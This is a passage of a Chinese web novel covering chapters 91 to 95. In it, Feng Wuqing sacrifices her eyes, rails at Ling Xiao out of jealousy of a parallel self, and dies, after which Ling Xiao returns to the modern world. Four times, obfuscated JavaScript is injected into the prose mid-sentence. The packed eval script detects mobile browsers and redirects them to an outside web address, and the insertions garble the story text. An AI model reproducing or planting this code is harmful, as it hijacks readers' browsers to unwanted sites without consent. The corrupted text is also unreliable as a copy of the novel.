何伟铭没能被凌霄的解释糊弄过去，但是冯舞清毫不留情打断了他的发言：“就算如此，即便合作也一直防备着我，实在是令人寒心。” 检查完凌霄状态的江冥蝉阴沉着脸堵住了何伟铭的嘴。 “这句话难道不应该是江云章对你问出口？”凌霄能够感受到手中黑影传来的热度，复杂的情绪使得她的肢体逐渐变得僵硬起来。她不愿意仔细回想自己手中的触感，只能用别的事情转移自己的注意力。看似解决了刘应水的最终后手，然而她却丝毫高兴不起来。 “你牺牲了这么多东西也要送他去死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174876|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，才叫令人寒心。” “我就知道你肯定看出来了。”冯舞清苍白的脸上绽放出了恶作剧一般的笑容，“怎么样？你是害怕了还是恶心了？不过按照我对你的理解，看来只是更单纯的负面情绪……你怎么不看我？和人说话的时候，注视着别人难道不是一种礼貌吗？算了，反正我现在……正在看着你呢。” 江云光因为对方过度起伏的情绪感到了恶寒：“你这是眼见自己失败也要恶心我们一下吗？” 凌霄知道冯舞清没有说错。她确实正在注视着自己。 冯舞清空荡荡的眼眶正对着自己，而她红绿色的眼瞳，也正对着自己。 位于凌霄掌中的两枚黑影，散发着属于人体的体温。早在入手的那一刻，凌霄就已经知道自己到底抓住了什么。 “你比我更加清楚躯体海水化的代价，你可能失去的不止眼球与视觉。”凌霄不明白冯舞清还要与自己再说些什么，“你既然能够说动范千桑改变心意不急于一刻，那么你自己一定也有一部分认同了自己的言语。只要继续明哲保身，就算刘应水倒台刀赤城也能够保下及时投诚的你。” 甚至在最终底牌翻开的前一秒，冯舞清都仍有后悔的机会。 江云章已经勤勤恳恳将储物盒的内壁涂上十遍以上的血液，随后将其抛给了江云光。意识到自己的眼球即将被收走的冯舞清似乎仍有留恋： “让我再看看外面的世界吧？” 凌霄完全没有犹豫，改夹为握及时收拢掌心，成功将差点冲出掌控的两个圆形黑影锁回了自己的手掌。她不怕沾染血液，面色如常将手伸进了血红的储物盒，随后手疾眼快将再次开始挣扎的黑影关了进去。 由于从空气中新吞噬的能量已经消融了一部分，江云光在盒子彻底关上之前总算看清了黑影的真正面目。她震惊到直接出声：“那是你的眼球！？” “毕竟和我关联最深的部分就是我的眼睛啊。”冯舞清一脸理所应当，衬托得江云光的情绪都成了大惊小怪，“海水化之后的躯体很大概率会成为海水的一部分，而失去与我之间的联系，所以我当然只能选择眼睛了。” “还真别说，没想到刀赤城的红色墨水还能在海水化之后冒充一番血兽。”冯舞清感叹道，“不过沾染了血液之后，也不知道我的眼球会变成什么样子。如果按照移翠院的逻辑海墨结合真成为了不可分割的整体，那么我也就能够成功剥离视觉了。” 冯舞清畅享了一下一片漆黑的未来，忍不住露出了一个期待的笑容：“祝愿我能够得偿所愿吧。” “那你明明就更没有理由非要害死我哥哥了！”江云光无法理解昔日好友的行为逻辑。 “这是在点我呢。”凌霄依旧盯着冯舞清头顶的树叶没有移动视线。 “意思是如果没有积紫城额外横插一脚，江云章就不会遇到必须撕破脸皮的局面。” 92. 091 “哈?这又是哪里来的逻辑？” 鉴于何伟铭与冯舞清全部没有了威胁，甄令满好说歹说终于让甄令潇同意，暂时得到了身体的控制权。墨水五区复杂而危险的环境让他时时刻刻都在担心妹妹的安危，于是立刻抓住了一切尘埃落定的机会，让甄令潇回归身体好好休息一番。等到精神全面恢复再与凌霄几人交谈也不迟。 甄令满向来不是什么能够读懂氛围解析旁人脸色的家伙，只会直抒胸臆有话就说。作为与冯舞清共事过一段时间勉强拥有些许交情的受害者，甄令满第一次意识到这位看似长袖善舞的前同僚竟然如此疯狂。 他没有忍住，用匪夷所思的目光注视着冯舞清：“你脑子没事吧？移翠院的医生那么多，就没想过匀一个给你治治脑子？” 由于看出了凌霄此刻复杂的表情，江云光主动伸手接过了装着冯舞清眼球的盒子代为保管。 手中重量一减，凌霄却没有感觉到心头一轻。冯舞清空洞的眼眶一直凝视着她，甚至没有因为甄令满的挖苦从而转变对象。 “我当然没有问题！我有什么错？”冯舞清执拗地说道，“火药先生又有什么立场指责我！？你不也是为了自己妹妹能够牺牲灵魂的人吗？” 她原本柔美的脸庞因为一系列的变故成为了没有任何血色的苍白，偏偏又由于情绪波动产生了些许红晕，混合在一起反而红白分明，更显得生硬而没有人气。 凌霄不清楚海水化自己的躯体将会承受怎样的痛苦，但毫无疑问会比单纯的挖去眼球抑制血肉生长更加疼痛难耐。冯舞清等同于硬生生将一部分的灵魂从自己身躯上分割开来，极有可能承受到双倍的痛苦。 但是真实对这个灵魂而言就是如此重要。 即便要牺牲全部的人际关系与朋友，即便要牺牲光明的前途与未来，即便要牺牲尚未成型的友谊与情感，即便要牺牲熟人的性命。即便要牺牲自己的全部。 冯舞清依旧会坚定不移选择对自己出手。 凌霄能够感觉到对方的眼眶正在注视着自己。而已经被封存暂时还没有消融的眼球也在注视着自己。合上储物盒的盖子时，江云光之所以能够看清黑影之下的轮廓，正是因为眼球红色的瞳孔与绿色的虹膜都浮现出来，笔直而执拗的正对着凌霄。 “你有想说的话就尽快说完吧。”凌霄不愿再浪费时间，消耗了那么多的话语与机会，最终也不过是自己的一厢情愿。这让她自然而然想起了无论度邪大侠为其展示了那么多选择，依旧想要追随着度邪大侠使用相同内功的冯师妹。 怪自己移情，在度邪将军那里没有见到冯舞清的脸，因此对冯师妹多有照顾，以至于看到江云章画的雪百合时还是心存幻想，以为冯舞清能够临时改变主意。处理何伟铭时刻意拖延的一段时间也未尝不是想要冯舞清见识一下移翠院的家伙们到底都是何种丑陋的灵魂。然而冯舞清即便对何伟铭的态度彻底厌弃，都没能放弃江云章的性命。 “你想起了谁？”冯舞清的声音骤然拔高，已经几近尖叫，“你想起了谁！！！” 原本还能端坐在湖中的江云章几乎是立刻奔到湖边：“你冲着凌霄发什么神经！有本事冲我来！” “你？你算什么东西？”冯舞清颇为不屑，甚至都没将脸转过去，“要不是看在凌霄的份上，你以为我会容忍……” 她恰到好处停止了自己的言语，冷静下来之后已经换做一副胸有成竹的口吻：“我要和你单独谈话。” 他们都清楚冯舞清隐去的是什么字词。 果然。 感官敏锐又聪慧异常的冯舞清即便是看到江云章的身体没有出现任何异常，依旧对江云章的身份产生了怀疑。也许因此产生连锁反应，才会察觉到了凌霄身上更加细微的差别。 但不知为何，冯舞清出手帮助两人掩盖了可能产生的漏洞，甚至默认了凌霄的解释，主动打断了何伟铭对凌霄体质变化的质疑。 凌霄冲着江云光摇了摇头，答应了冯舞清的条件。收拾残局的刀赤城与积紫城人员全部已经赶到墨水五区。除了觊觎江云章性命的移翠院人员以外，没有人会在危机四伏的墨水区携带无异于定时炸弹一般的海水。因此江云章的安全问题也已经告一段落。 他颇有些犹豫地看了凌霄一眼，在没能得到回应后只好乖巧地跟在江冥蝉身后，开始协助清理后续。 “你想说什么？”凌霄望着不远处的越野车，依旧没有直视自己眼前的冯舞清。 “她是什么样的人？不对，她明明也会和我一样不知悔改才对。”冯舞清语气不满地抱怨道，听起来反而有些许亲昵，“她到底是怎么讨好你的？让你这么喜欢她。” 凌霄刚要张口，冯舞清就打断了她：“不用在我面前再遮遮掩掩了，我主动替你们隐瞒，难道还不值得知晓一个真相吗？你们两个演戏倒确实没有什么破绽，只可惜我比起无用的视觉，更加相信自己的直觉。” “……你们都一样。”凌霄只想尽快结束无用的对话，“相同的灵魂自然只会做出相同的选择。哪里有那么多区别。” “怎么可能没有区别！你甚至不愿意直视我！”冯舞清皱着眉头，忍耐下了怒火，“在我要杀江云章之前，你还愿意在我面前装装样子，可是一清楚我的选择之后，你倒是避之不及了。你不是说冯舞清都一个样子吗？她不也会这样自私自利吗？” “她不会对无辜之人下杀手。”凌霄面无表情说道，“而我也相信她。” “那你凭什么不相信我！” “你做出了什么让我能够相信你的事情吗？”凌霄依旧没有转移自己的视线，“按照你的说法，将眼球留在最后其实也不过是引诱着我对你怀抱希望而已。否则你完全可以在见到我们的第一面就直接出手，而不是逆来顺受达成口头合作。” “是啊，如果我不这样做的话，你根本意识不到我的存在！”冯舞清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186396|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理所应当说道，“另一个我就那么优秀吗，优秀到连江云章那个被你保护的废物都在羡慕你与她之间的感情。可是你现在明明已经遇到我了！我才是冯舞清！” “抱歉，我不太明白你的逻辑。你想说的话结束了吗？”凌霄拿出了公事公办的态度。解决了江云章的生存问题以后，恐怕她与对方也会很快回到现实世界了，之后根本不用担心冯舞清将两人之间的异常告诉别人。因为到那时掌控身体的必定是真正的积紫城城主与刀赤城守卫者。 “我只是想要看到真实而已！我有什么错！”冯舞清的语气已经变成了哀怨与恨意，“甄令满身体里的两个灵魂我就完全无法观察到，移翠院里那些肮脏的家伙们，我也无法通过外表将他们辨认出来！明明是这个世界充满了虚假，连你对冯舞清的感情都全是虚假！” “但这和江云章有什么关系？你的仇恨就能够将无辜之人的性命牵扯进去？说到底你和何伟铭有什么区别？”凌霄始终都没有下移自己的视线，“他道貌岸然非要将江云章的牺牲归为自己为了魂书族的未来做出努力，而厌恶她的你也做出了相似的选择。” “我才没有！”冯舞清立刻反驳道，“明明都是你的错，是你非要展露出令那个人向往的一面，才会故意在我面前让我动摇。明明是你希望感染我的选择，改变我的决定，让我变成和那个人一样的存在……但我偏不！我才是冯舞清！” 凌霄没有办法否认她一部分的言语。因为知晓冯舞清的喜好，所以她刻意在冯舞清身前展露出了对方一贯以来喜欢的模样，从而希望自己能够潜移默化影响冯舞清的选择。 “哈哈，我说对了吧，你承认了！你是故意的，故意想要我为了你改变。”冯舞清裂开嘲讽的笑容，“没错，我也承认，我与那个人的审美相似，我确实喜欢你，很喜欢你。从这点来说，凌霄，你的计划成功了。你深深地影响到了我。” 她在空洞洞的眼眶中模拟出了凌霄的面貌。她眼前的人此刻没有在注视着自己，但是阳光也照样会让自己身前闪耀的灵魂在现实世界依旧发散出令人无法直视的光芒。冯舞清依旧记得那双眼眸注视着自己时发自内心的温柔，因为下一刻总是会浮现出令她刻骨铭心的些许怀念。 只有一丝，甚至逐渐在消弭的怀念。 但是冯舞清无法不介意，无法不在意，无法不去想。 到底是谁让她如此牵挂，到底是谁赶在自己前面邂逅了她。 到底是谁抢占了自己的位置。 不过这一切都没有关系。 如果那个人也是冯舞清…… “哈哈哈哈哈哈哈。”想到这里，她畅快地大笑起来。 “哈哈哈哈，但是那个人也不过如此！她一定看不到是不是？她一定看不到是不是！”她越说越激动，语速也越来越快，连眼眶处的疼痛也消失殆尽。 “只有我亲眼见到了你的模样！只有我！哈哈哈哈哈哈……” 93. 092 冯舞清张狂的笑声回荡在凌霄耳边。像是想要将所有郁结的情绪全部在嘲笑声中发泄出来一般。 凌霄没有反驳她口中的事实。 冯师妹确实不曾见过度邪大侠的样貌。只能根据灵魂之中的光彩勉勉强强描绘出想象中凌霄的模样，构思出一具毫无依凭的容貌去贴合那样耀眼的灵魂。现实世界中凌霄的轮廓对冯师妹而言无异于往后余生都无法解读的天书。 冯师妹清楚那是度邪大侠存在的一部分。但终究再也无法用另一种视觉去观察自己敬爱的大师姐。 冯舞清张狂的笑容在意识到凌霄波澜不惊的心绪以后，很快镇定了下来。她意识到嘲讽不存在的另一个人根本没有办法在凌霄心中留下更加深刻的印象，即便自己强调自己理应是唯一一个能够见识到凌霄容貌的人，也没能达到自己预期中的效果。 但是没有关系。 她轻轻叹了口气，语调又恢复到了往日里轻快活泼的风格，只是由于刚才发泄情绪的大笑到底是影响到了嗓子，导致还有几分沙哑：“你一定令她深深的喜爱着，才会让你对她怀抱着如此程度的信任。认为你展露在我面前的人格魅力足以让我像他那样忍不住接近你。” “让我猜一猜……她肯定是已经如愿以偿看到你灵魂的样貌了吧？你的灵魂一定震人心魄，才会让她为了你改变良多，甚至让你在清楚本质的情况下依旧信任了她的灵魂。”冯舞清慢条斯理轻声说道，“而这份信任如今也爱屋及乌波及到了我的身上。这样说来我倒是要感谢她，让你对我抱有如此厚重的期待了。” “你倒也不用在我面前继续装模作样。我知道你绝对不可能后悔自己的所有决定。”凌霄紧盯着刀赤城的人们将挣扎的何伟铭装上了越野车。 冯舞清没有理会凌霄的话语，自顾自继续说道：“你对她所喜爱的一面心知肚明，才会想要在我面前也展露出相似的一面。可是，可是啊，凌霄。” 冯舞清快要将最后的姓名含在嗓音里。 凌霄的直觉灵敏地对此做出了示警。冯舞清的语调动作越是温柔，代表着她越是在进行拥有十成把握、必定会成功的计划。只有这种时候冯舞清才会顾得上修饰自己的态度，拿出一种等着看好戏的温柔表情，期待着后续的发展能够因为自己的插手掀起更大更有趣的风浪。 “凌霄。你有没有想过，这全部都是你的错呢？”冯舞清空洞的眼眶没有办法传递出任何情绪，只有微红的脸颊能够透露出她隐藏在躯壳内部的兴奋，“如果不是你非要接近我，向我展露那个人所期望的那一面，我根本不会做出现在这种事情啊！” “我不会因为你的言语动摇，你就别白费心思了。”凌霄瞬间明白了冯舞清想要指出来的逻辑，表情空白了一瞬。这短暂的停顿足以让全部心神都在凌霄身上的冯舞清注意到。于是她笑得更加开心了。 发自内心的笑容总算让这张苍白的脸恢复了些许血色：“是啊，都是你的错。如果不是你非要在我面前出现，我怎么可能意识到你是如此一位令人心生向往的继承人？我又怎么会更加好奇真实世界之中你的灵魂究竟是哪一种色彩？这些明明都是你向我展示的！” “都是你！你的自信告诉了我那个人对你灵魂的渴望和喜爱！这让你拥有足够的自信能够影响到我……可你也一定知道我的善变和喜怒不定……即便如此依旧让我心醉神迷沉迷异常的色彩到底是何种模样？” “我好奇到心都要燃烧起来了！我很想知道、我分外渴望！” “凌霄！明明是你告诉我的！那个人眼中的你究竟是多么令人心醉！你的灵魂又可能散发着怎样的光彩……我怎么可能不想去看一看！令那个人沉迷的色彩就摆在我手边，我怎么可能不想去尝试一番！凭什么那个人所愿皆得所求皆许，只有我什么都没有！甚至至今为止除了痛苦以外什么都没有得到！凭什么！你告诉我啊凌霄！” 冯舞清冲着凌霄怒吼出声。 “我有什么错？我只是想要看你的灵魂一眼而已！都是你逼我的，是你带着那个人的痕迹出现在我身前的！哈，只要我在最终选择之前一直犹豫，你就会一直因为那个人为我心怀期盼，为我动摇为我思量。我做出这样的选择岂不是理所应当？” 冯舞清当然是故意的。 从知晓了另一个冯舞清的存在开始，她就已经被另一种可能性摄住了全部心神。 另一个人与凌霄之间拥有如此深刻的羁绊，以至于即便已经知晓自己究竟是怎样混沌的存在，这位行事光明磊落的好人依旧对自己抱有说不清道不明的期待。凌霄包容了那个人的全部欲望、丑陋的过去、疼痛、错误的选择，然后期望着能够给那个人一个充满了光明的未来。 而自己什么都没有。 没有得到真实的世界。没有得到独一无二的对待。没有得到坚不可摧的羁绊。 甚至在凌霄眼中没有得到冯舞清这个名字。 凭什么？ 凭什么那个和自己一样自甘堕落陷于污泥之中的灵魂能得到救赎？凭什么和自己一样没有一片真心恶毒阴暗的灵魂能够脱离过去？凭什么和自己一样为了真实放弃了所拥有全部的灵魂能够得偿所愿的同时拥有光明的未来？ 凌霄在冯舞清面前所展露出的正面情绪越多，越是让冯舞清的胸腔之中升起了熊熊烈火，甚至凝聚成了恨意。 即便知晓她的所有选择依旧会包容她、愿意理解她、等待着能够帮助她的、这样光彩夺目的灵魂，她看不见，也不属于她。有另一个存在已经先一步用冯舞清这个名字在对方的心里占据了无可取代的重要地位。 无论她做任何事情，都没有办法在超越一个已经盖上了完美结局的故事。 凌霄不会爱她。 因为她是一个不完美的灵魂，一个无药可救自甘堕落，将所有人耍的团团转的恶人。一个即便凌霄为之努力也没能如愿的坏种。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13197544|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是没有关系。 凌霄可以恨她。 她本就没有奢望过行事作风偏激、触及了凌霄底线的自己能够得到对方的正面反馈。她从另一个人那里偷来的感情很快就会被她与对方的不同所消磨。说到底她们本就是两个截然不同的人，只是凌霄没能忍住爱屋及乌，给予了她不属于自己的情感施舍罢了。 她不要这份施舍。 她只要凌霄能够意识到自己才是冯舞清。 只要记住她就可以了。 “这一切都是你的错！你凭什么认为我就是她，你凭什么觉得我能够成为她那样鞍前马后的家伙！你凭什么要把你和她之间的问题放在我身上！”冯舞清无法克制自己口中的埋怨。她能够感受到有金色的灵墨顺着空旷的眼眶，浸湿了黑色的绷带。 “我才是冯舞清！你凭什么不看着我！你应该记住这一切全都是你害的！如果不是你，我才不会突然提前了所有的计划。如果不是你，我才不会放弃原本就已经停滞不前的视觉……如果不是你，我才不会费尽心思也想要看你一眼……” 凌霄紧抿着唇，找不到任何言语能够回答冯舞清的质问。她到底是经历了那么多世界的过客，早就有了能够将自己情感抽离，站在客观角度明辨是非的能力。即便因为冯舞清的指责产生了相应的情绪波动，她也知晓对方有很大一部分是在胡搅蛮缠，偷换概念。 最终做出错误选择的，是冯舞清本人。 “你又何必现在和我说这些呢？”凌霄的语气因为她的冷静，在冯舞清的衬托下变得冰冷且不近人情，“你既然不后悔也对云章没有丝毫歉意，我想我们之间就没有什么可以谈论的必要了。” “你是故意的。你叫他云章？你叫那个废物云章？”冯舞清只听到了自己在意的事情，将凌霄的前文全部抛在了耳后，“所以你也会叫那个家伙舞清？” “与你无关。”凌霄冲着关心这边状况的江云章摇了摇头。 “你承认了……凌霄，你对我也太狠心了。”冯舞清声音轻微。 “这是你自己心知肚明的结果。我很讨厌旁人打着为了社会为了族群进步的招牌却谋私的举动，而你为了看我的戏刻意拖延了时间，也对江云章怀抱着杀意。”凌霄依旧是问心无愧的表现，没有因为冯舞清的种种表演显露出任何动摇。 “你看我一眼吧。”冯舞清恳求道，“你应该看我一眼再离开的。我帮你们掩盖了身份，于情于理你都应该报答我，接受我的祈求。之后我就会任凭你们处置。” “不是任凭我处置，而是任凭法律处置。”凌霄皱起眉头，犹豫了片刻，还是妥协了。 她闭上眼睛，将冯师妹的身影从自己心头挥散，保持着一片空白的状态，将头微微压低，终于变成了正对冯舞清的姿态。 嘀嗒。 从冯舞清眼眶低落的灵墨，终于在千辛万苦之后，淌过脸颊，滴落在地。 嘀嗒。 94. 093 从冯舞清空洞眼眶中溢出来的金色灵墨如同细流一般，很快便将用来遮掩伤口遮盖视觉的黑色绷带彻底浸湿。从伤口处涌出的液体已经彻底能够称得上是血泪，为冯舞清苍白的脸庞又增加了一抹颜色。 灵墨对魂书族来说是十分重要的生命能量，损失过多会对魂书本体造成无法修补的损伤，从而加剧衰败迅速死亡。而在墨水五区这样特殊环境下的大量灵墨损失则是更加危险，更别提此刻冯舞清本就损失了海水化的眼球，灵魂的一部分正在被血液侵染。大幅度的能量波动所导致的失衡很可能让她直接死在墨水五区。 凌霄正视着冯舞清。 从一开始，带着墨镜的混色守卫者就让她意识到与旧日亲友不同的灵魂处境尴尬。 魂书族的特殊注定了冯舞清必然无法如愿以偿。执念和痛苦都会摧毁这个认定死理，拼了命也要挣脱虚伪幻象的灵魂。凌霄确确实实见过死于严重失血的冯舞清，为了摈除一切杂念更靠近真理一步，性命对她而言反而是不那么重要的事情。 因为死亡也是一种众生平等的真实。 绝不存在任何虚假。 所以冯舞清丝毫不会惧怕。 所以她从来没有拒绝过死亡。 与江云光成为亲友相互打闹嬉戏的冯舞清还处在年轻人的范畴，因此这张脸庞也没有展现出什么经历良多之后的圆滑，又或是得偿所愿之后的通透。甚至连自诩最接近真理的傲慢都还没有出现，只留下一种走投无路的疯狂。 依旧是熟悉的面庞，熟悉的轮廓，熟悉的看不见的眼睛。然而大量流失的灵墨已经开始引发人形幻象的波动。冯舞清实质性的轮廓变得若隐若现，漆黑的发梢融入了空气之中。连锁反应导致的海墨互斥也即将登场，使得凌霄面前的灵魂开始变得黯淡起来。 “从一开始你就没有想过离开墨水五区……”凌霄望着她现在有些狼狈的身影，“你又何必那么怨恨自己？” “汲汲营营了那么多年，到头来别人都能够实现愿望，反而我至今都没能看到任何希望。我已经累了。”冯舞清坦然说道。无法对她言行做出反馈的人形幻象此时连张嘴这个动作都有些模糊，导致只有声音沉闷地传了出来。 “你一定已经记住我了，对吗？”冯舞清大闹一场此刻已经心满意足，“看在共事一场的份上我愿意和江云章道歉，为自己的欲望连累了朋友向云光道歉。我给云天提供了那么多情报功过相抵，就不向她道歉了。但是我是绝对不会对你口中的云章道歉的！他活该！” 凌霄想到一直注意着这边动静的江云章，没有对二人之间的恩怨进行任何评价。 “你见过我这样的人死在你面前……算了，我也不想去思考了。”冯舞清的声音在逐渐变得微弱，“杜凌霄，我要在这里和你说再见了。你以后可要记得对冯舞清这个名字多点警惕之心，知道我本性如何，就不应该信任……” 她的声音犹如风中残烛，微弱到几乎细不可闻，最后彻底消失在了空气之中。不断溢出的金色灵墨已经在地上汇聚成了微型湖泊。无法倒转的能量流失来势汹汹，人形幻象的轮廓犹如雪花一般彻底飞散，化为点点星光融入了墨水五区具现化的能量场。 这点微小的能量对墨水五区来说甚至没有惊起任何波澜，随风卷动的能量团轻而易举容纳了微光，将其裹挟，如同什么都没有发生，继续默默编织着金色丝线般的能量轨迹。 被藏在人形幻象胸腔中的魂书本体狠狠地砸在了地上，带起了周围金色的液体灵墨飞溅出去。落在凌霄面前的魂书爬满了金色的暗纹，预示着书籍主人的消失。 不过片刻，凌霄所注视的灵魂便彻底如烟消散。 孤零零躺在地上、厚度中上的魂书拥有坑坑洼洼有些粗糙的封皮，环环相扣的圆形图案代替了眼睛，反向凝视着观察魂书的看客。远远望去，仿佛有无数只眼睛正贴在魂书封皮之上，全方位观察着这个世界。 只可惜她的主人已经主动放弃了继续凝视这个世界的机会。 凌霄捡起了魂书，向着众人撤离的方向走去。 早已经注意到这边情况的江云章立刻迎了上来，由于身边人数众多不好仔细安慰提及平行世界之间的区别。于是直接将冯舞清遗留下来的魂书塞给了还没能反应过来的江云光，让妹妹自己去消化彻底失去了朋友的现实。 凌霄对江云章如临大敌的反应感到了好笑，面色如常反过来安慰了他几句。顺便向众人交代了一下冯舞清单独找自己的原因：“她看见自己计划了那么多最终还是失败，所以想要留着最清净的环境离开这个世界。也让我给你们带几句道歉。之所以选择我，应该是因为我和她相识最晚，最能够让她觉得容易面对吧。” 由于从何伟铭手中得到了更加关键性的证据与证词，再加上同时调离了移翠院的院长与副院长，使得剩下的乌合之众掀不起半点波澜。一直坐镇刀赤城的江云天已经成功清洗了关键人群，彻底铲除了对江云章与魂书族安危有所危害的犯罪分子。解决了心头大患后的众人心情大好，于是很快就接受了凌霄给出的理由，包括江云光在内都没有思考太多。 只有江云章一个人察觉到不对劲，仍然还在惦记凌霄的情绪问题。 他类比了一番在度邪大侠世界时的场景，猜测解决完事情之后他们还能有空闲时间在魂书族的世界里修养些许，于是想要等到离开墨水五区这个危险地带之后再去找凌霄问一问具体情况。 然而出乎他的预料，他们一行人甚至还没有彻底走出墨水五区的范围之内，他一个眨眼就已经回到了现实社会。他手中还握着沾染了颜料的画笔，一扭头就是画室中有些昏暗的环境。这让他后知后觉想起了自己在去往魂书族世界之前，正在画室之中熬夜奋斗。 突如其来的抽离对凌霄而言却并没有感到吃惊。 她面色如常在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13210657|128167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己舒适的床上坐起了身，望着窗外熟悉的现代社会景象，犹豫了片刻还是拿上手机重新躺了回去。 在平行世界生活的时长从某种程度来说属于凌霄的可控制范围之内。若是她对解决了大事件之后的平静日常心有留恋，那么她就能如愿以偿目睹自己的同伴们重新过上平静的生活，直到彻底满意心生离意再离开。如果她的去意已决，那么她随时都能脱离已经不需要她的平行世界。 将军世界中尚未构筑完整的城池与依旧还在蠢蠢欲动的鬼族引得她停留了不少时间，而度邪大侠与冯舞清之间难得和谐快乐的氛围也让她感觉到了留恋。但魂书世界里冯舞清有些疯狂的举动到底让她心生退意。 就算没有因为对方产生巨大的情绪波动，也没有被对方的言语所蛊惑认为一切都是自己的过错，凌霄也依旧暂时对魂书世界产生了退避的想法。而现实也顺从了凌霄的状态，直接将她送回了现代社会。 忙了许久，最后无论是对江云章下了死命令的刘应水还是觊觎着江云章尸体的何伟铭都没有先一步失去性命，反而是冯舞清成功自杀。到底有些讽刺。 凌霄为自己倒了一杯水，闭着眼睛让自己尽快从冯舞清癫狂的情绪中抽离。 来自手机的信息提示音将她从虚无的状态之扯回，凌霄点开屏幕，发现是江云章发送过来的邀请。 有关平行世界的诸多情报他们还没有仔细交流，之前顾及魂书世界的众人，但回到了现实社会完全能够说是正在构思剧本。因此江云章邀请凌霄单独谈话，地点定在了他打包票绝对安全的私人画室。 凌霄同意了这个邀请，只是推迟了时间。她需要独处来调整自己的状态，暂时还不想与旁人见面。 约定好时间之后，在手机屏幕上蹦出的一连串消息引走了凌霄的注意力。依旧还在外旅行的鄢眀济一口气发送了十几张照片。顺带还在她们与江云光的三人小群里发了一只怪模怪样的锦鲤。 “这只真的越看越像云光。”鄢眀济试图获得凌霄的肯定。 正在刷手机的江云光立马反驳:“才不像！” 不等凌霄回答，两个人就已经在群里你一句我一句彻底吵了起来。兴头上来的鄢眀济彻底无视了时差问题，决定今天不与江云光得到一个结论就绝不睡觉。 凌霄拿着手机看她们两人吵了半天，最后直到被困意袭击，才再次暗灭了手机躺回床上。 漆黑的雾气在不自觉时爬满了她的视野，凌霄行走于雾气之中，模模糊糊看到了熟悉的人影。身着干练西装的冯舞清似有所觉，转过身来笑意盈盈望着凌霄。在她身后，还有无数个衣着不同年龄不同但面容相同的冯舞清正沉静在自己的世界之中。有的甚至正在持续不断滴着血泪。 凌霄没有停留，推开已经成为过去幻象的旧友，继续向前走去。 雾气终于有了消散的痕迹，熟悉的王座再一次出现在了凌霄面前。 95. 094 这一次，凌霄终于看清了王座之上的身影。 衣着华美的熟悉面孔似乎正在沉睡，闭目端坐于王座之上。与凌霄一模一样的眉眼不知是由于装扮还是不同的经历，带上了几分连杜皇都不及的杀伐果决。正气与威压酝酿在英气的眉间，使得有幸得以见识对方真容的人心中不得不生出几分庆幸。在垂眉闭目的情况下都能在王座上察觉到无法直视的威压，倘若这位无名的王者睁开眼眸，以魂灵涤荡四方，必然会带来更加无法高攀的神威。 凌霄对与自己面容相同之人的身份并不感兴趣，在确认了自己的猜测之后，便将全部注意力都放在了王座背后的图腾之上。 由于为了解决完美生命体的事情，她已经彻底融会贯通了积紫城继承人所学习到的全部知识，还主动去往图书馆查询了许多资料，因此对于波浪海洋一系列的图腾都有了更加深刻的见解。 她完全能够确定奢华王座之后环绕着的浪花波涛与云苍城的标志有八成以上的相似之处。甚至能够称得上是同一个原始纹样经过演变从而发展出来的不同分歧。云苍城的标志重点在于海水区天然的地理位置以及海水的颜色，为了让波涛摒除一切危险，还美化了不少，但依旧着重强调了水的特质。好让看客都能成功理解到海水区对于魂书族生存做出的伟大贡献。 但此刻出现在凌霄眼前的相似纹路却故意弱化了水波的颜色与特质，使得明明所描绘的似乎是与海水相关的信仰，却呈现出了类似风波的感官。若非曾在云苍城见证过相似的图文，凌霄说不定还会疑惑这到底应该算作波浪还是算作风向。 她略过海浪波纹的问题，想要接着观察更没有明显类别的鸟类图文。然而留给她的时间却已经所剩无几，漆黑的雾气再一次弥漫开来，彻底遮挡住了凌霄的视线。 端坐在王座之上的尊贵身影恍若无所察觉，依旧双目紧闭沉默不语。任凭不知名的力量再一次切断了自己与凌霄之间的联系。 意识到时机尚未成熟的凌霄没有过多追求。既然她和不知名的同位体之间已经建立了如此稳固的联系，自然也就不急于一时。毕竟如果真是十万火急的事情，那么自己现在一定一睁眼就已经到达了那位同位体的世界，不可能还任由自己这样可能帮上忙的存在在外漂泊。 凌霄恍惚之间好像看到了度邪真君的身影。 